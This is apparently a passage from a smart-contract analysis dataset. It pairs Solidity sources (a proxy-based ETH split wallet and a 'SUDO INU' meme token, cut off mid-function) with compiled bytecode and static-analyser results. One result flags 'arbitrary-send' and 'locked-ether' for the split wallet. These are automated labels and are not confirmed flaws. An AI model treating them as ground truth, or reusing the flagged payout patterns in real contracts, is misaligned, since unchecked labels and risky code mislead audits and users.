807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122030d6c9e75ea678abb8a94e63b8829835057609352b723b3ae0430d9e7a14e1a464736f6c63430006090033
|
{"success": true, "error": null, "results": {}}
| 1,609 |
0xb6fe88db55a92bbb8e50bc33144348c20ba5a6dd
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
contract Proxy
{
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
constructor(address implementation)
{
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = implementation;
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = msg.sender;
}
fallback() external payable
{
_fallback();
}
receive() external payable
{
_fallback();
}
function _fallback() private
{
address implementation = StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
// from OpenZeppelin/contracts
assembly
{
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
}
contract ProxyImplementation is Initializable
{
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier onlyAdmin()
{
require(admin() == msg.sender, "Implementation: caller is not admin");
_;
}
function setImplementation(address implementation) external onlyAdmin
{
require(AddressUpgradeable.isContract(implementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = implementation;
}
function admin() public view returns(address)
{
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
function owner() public view returns(address)
{
return admin();
}
function setAdmin(address newAdmin) external onlyAdmin
{
require(newAdmin != address(0), "invalid newAdmin address");
_setAdmin(newAdmin);
}
function renounceAdminPowers() external onlyAdmin
{
_setAdmin(address(0));
}
function _setAdmin(address newAdmin) private
{
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
}
contract SplitWallet is ProxyImplementation
{
uint256 _denominator;
uint256[] _numerator;
address payable[] _recipient;
function init(
uint256 denominator,
uint256[] memory numerator,
address payable[] memory recipient)
public onlyAdmin initializer
{
setPayoutSplits(denominator, numerator, recipient);
}
receive() virtual external payable
{
}
function payOut() public
{
_payOut(address(this).balance);
}
function _payOut(uint256 total) internal
{
uint256 remaining = total;
for (uint i = 0; i < _recipient.length; ++i)
{
uint256 cut = (total * _numerator[i]) / _denominator;
require(cut <= remaining, "not enough remaining to deduct");
remaining -= cut;
(bool success, ) = _recipient[i].call{value:cut}("");
require(success, "Transfer failed.");
}
}
function setPayoutSplits(
uint256 denominator,
uint256[] memory numerator,
address payable[] memory recipient) public onlyAdmin
{
// TODO look into passing structs/AOS etc to sol from web3
require(numerator.length == recipient.length, "array lengths don't match");
uint256 totalNumerator = 0;
for (uint256 i = 0; i < numerator.length; ++i)
{
totalNumerator += numerator[i];
}
require(totalNumerator == denominator, "numerators don't add up to denominator");
_denominator = denominator;
_numerator = numerator;
_recipient = recipient;
}
function getPayoutSplits() public view returns(
uint256 denominator,
uint256[] memory numerator,
address payable[] memory recipient)
{
return (_denominator, _numerator, _recipient);
}
}
|
0x60806040526004361061008a5760003560e01c80638da5cb5b116100595780638da5cb5b1461010d578063b8d1a3b51461013f578063c205240314610163578063d784d42614610178578063f851a4401461019857600080fd5b80634e335eed146100965780636aa229da146100b8578063704b6c02146100d857806389f1258c146100f857600080fd5b3661009157005b600080fd5b3480156100a257600080fd5b506100b66100b1366004610993565b6101ad565b005b3480156100c457600080fd5b506100b66100d3366004610993565b6102a6565b3480156100e457600080fd5b506100b66100f336600461096f565b6103fc565b34801561010457600080fd5b506100b661048d565b34801561011957600080fd5b506101226104c8565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561014b57600080fd5b506101546104d7565b60405161013693929190610aa1565b34801561016f57600080fd5b506100b661059c565b34801561018457600080fd5b506100b661019336600461096f565b6105a5565b3480156101a457600080fd5b5061012261067c565b336101b661067c565b6001600160a01b0316146101e55760405162461bcd60e51b81526004016101dc90610a5e565b60405180910390fd5b600054610100900460ff16806101fe575060005460ff16155b6102615760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016101dc565b600054610100900460ff16158015610283576000805461ffff19166101011790555b61028e8484846102a6565b80156102a0576000805461ff00191690555b50505050565b336102af61067c565b6001600160a01b0316146102d55760405162461bcd60e51b81526004016101dc90610a5e565b80518251146103265760405162461bcd60e51b815260206004820152601960248201527f6172726179206c656e6774687320646f6e2774206d617463680000000000000060448201526064016101dc565b6000805b835181101561036a5783818151811061034557610345610c26565b6020026020010151826103589190610b85565b915061036381610bf5565b905061032a565b508381146103c95760405162461bcd60e51b815260206004820152602660248201527f6e756d657261746f727320646f6e27742061646420757020746f2064656e6f6d60448201526534b730ba37b960d11b60648201526084016101dc565b600184905582516103e190600290602086019061083f565b5081516103f590600390602085019061088a565b5050505050565b3361040561067c565b6001600160a01b03161461042b5760405162461bcd60e51b81526004016101dc90610a5e565b6001600160a01b0381166104815760405162461bcd60e51b815260206004820152601860248201527f696e76616c6964206e657741646d696e2061646472657373000000000000000060448201526064016101dc565b61048a816106aa565b50565b3361049661067c565b6001600160a01b0316146104bc5760405162461bcd60e51b81526004016101dc90610a5e565b6104c660006106aa565b565b60006104d261067c565b905090565b6000606080600154600260038180548060200260200160405190810160405280929190818152602001828054801561052e57602002820191906000526020600020905b81548152602001906001019080831161051a575b505050505091508080548060200260200160405190810160405280929190818152602001828054801561058a57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161056c575b50505050509050925092509250909192565b6104c6476106d1565b336105ae61067c565b6001600160a01b0316146105d45760405162461bcd60e51b81526004016101dc90610a5e565b803b6106385760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101dc565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103546001600160a01b031690565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610361065b565b8060005b60035481101561083a576000600154600283815481106106f7576106f7610c26565b90600052602060002001548561070d9190610bbf565b6107179190610b9d565b9050828111156107695760405162461bcd60e51b815260206004820152601e60248201527f6e6f7420656e6f7567682072656d61696e696e6720746f20646564756374000060448201526064016101dc565b6107738184610bde565b925060006003838154811061078a5761078a610c26565b60009182526020822001546040516001600160a01b039091169184919081818185875af1925050503d80600081146107de576040519150601f19603f3d011682016040523d82523d6000602084013e6107e3565b606091505b50509050806108275760405162461bcd60e51b815260206004820152601060248201526f2a3930b739b332b9103330b4b632b21760811b60448201526064016101dc565b50508061083390610bf5565b90506106d5565b505050565b82805482825590600052602060002090810192821561087a579160200282015b8281111561087a57825182559160200191906001019061085f565b506108869291506108df565b5090565b82805482825590600052602060002090810192821561087a579160200282015b8281111561087a57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906108aa565b5b8082111561088657600081556001016108e0565b600082601f83011261090557600080fd5b8135602061091a61091583610b61565b610b30565b80838252828201915082860187848660051b890101111561093a57600080fd5b60005b8581101561096257813561095081610c52565b8452928401929084019060010161093d565b5090979650505050505050565b60006020828403121561098157600080fd5b813561098c81610c52565b9392505050565b6000806000606084860312156109a857600080fd5b8335925060208085013567ffffffffffffffff808211156109c857600080fd5b818701915087601f8301126109dc57600080fd5b81356109ea61091582610b61565b8082825285820191508585018b878560051b8801011115610a0a57600080fd5b600095505b83861015610a2d578035835260019590950194918601918601610a0f565b50965050506040870135925080831115610a4657600080fd5b5050610a54868287016108f4565b9150509250925092565b60208082526023908201527f496d706c656d656e746174696f6e3a2063616c6c6572206973206e6f7420616460408201526236b4b760e91b606082015260800190565b6000606082018583526020606081850152818651808452608086019150828801935060005b81811015610ae257845183529383019391830191600101610ac6565b50508481036040860152855180825290820192508186019060005b81811015610b225782516001600160a01b031685529383019391830191600101610afd565b509298975050505050505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715610b5957610b59610c3c565b604052919050565b600067ffffffffffffffff821115610b7b57610b7b610c3c565b5060051b60200190565b60008219821115610b9857610b98610c10565b500190565b600082610bba57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610bd957610bd9610c10565b500290565b600082821015610bf057610bf0610c10565b500390565b6000600019821415610c0957610c09610c10565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461048a57600080fdfea2646970667358221220b9308d5b9f0d74b40e2e7b938a2cb9ec4f263ed9ad32aaa28d467b72eca258fc64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 1,610 |
0xC7d6F3724B0e4322911F8751469B50503dCf384f
|
pragma solidity =0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnFrom(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SUDO is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _initialSupply = 1e15*1e18;
string private _name = "SUDO INU";
string private _symbol = "SUDO";
uint8 private _decimals = 18;
address private routerAddy = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswap
address private dead = 0x000000000000000000000000000000000000dEaD;
address private vitalik = 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B;
address private pairAddress;
address private _owner = msg.sender;
constructor () {
_mint(address(this), _initialSupply);
_transfer(address(this), vitalik, _initialSupply*42/100);
_transfer(address(this), dead, _initialSupply*13/100);
}
modifier onlyOwner() {
require(isOwner(msg.sender));
_;
}
function isOwner(address account) public view returns(bool) {
return account == _owner;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function add_liq() public payable onlyOwner {
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy);
pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_approve(address(this), address(uniswapV2Router), _initialSupply);
uniswapV2Router.addLiquidityETH{value: msg.value}(
address(this),
_initialSupply*45/100,
0, // slippage is unavoidable
0, // slippage is unavoidable
_owner,
block.timestamp
);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) public virtual override {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public virtual override {
uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, msg.sender, decreasedAllowance);
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
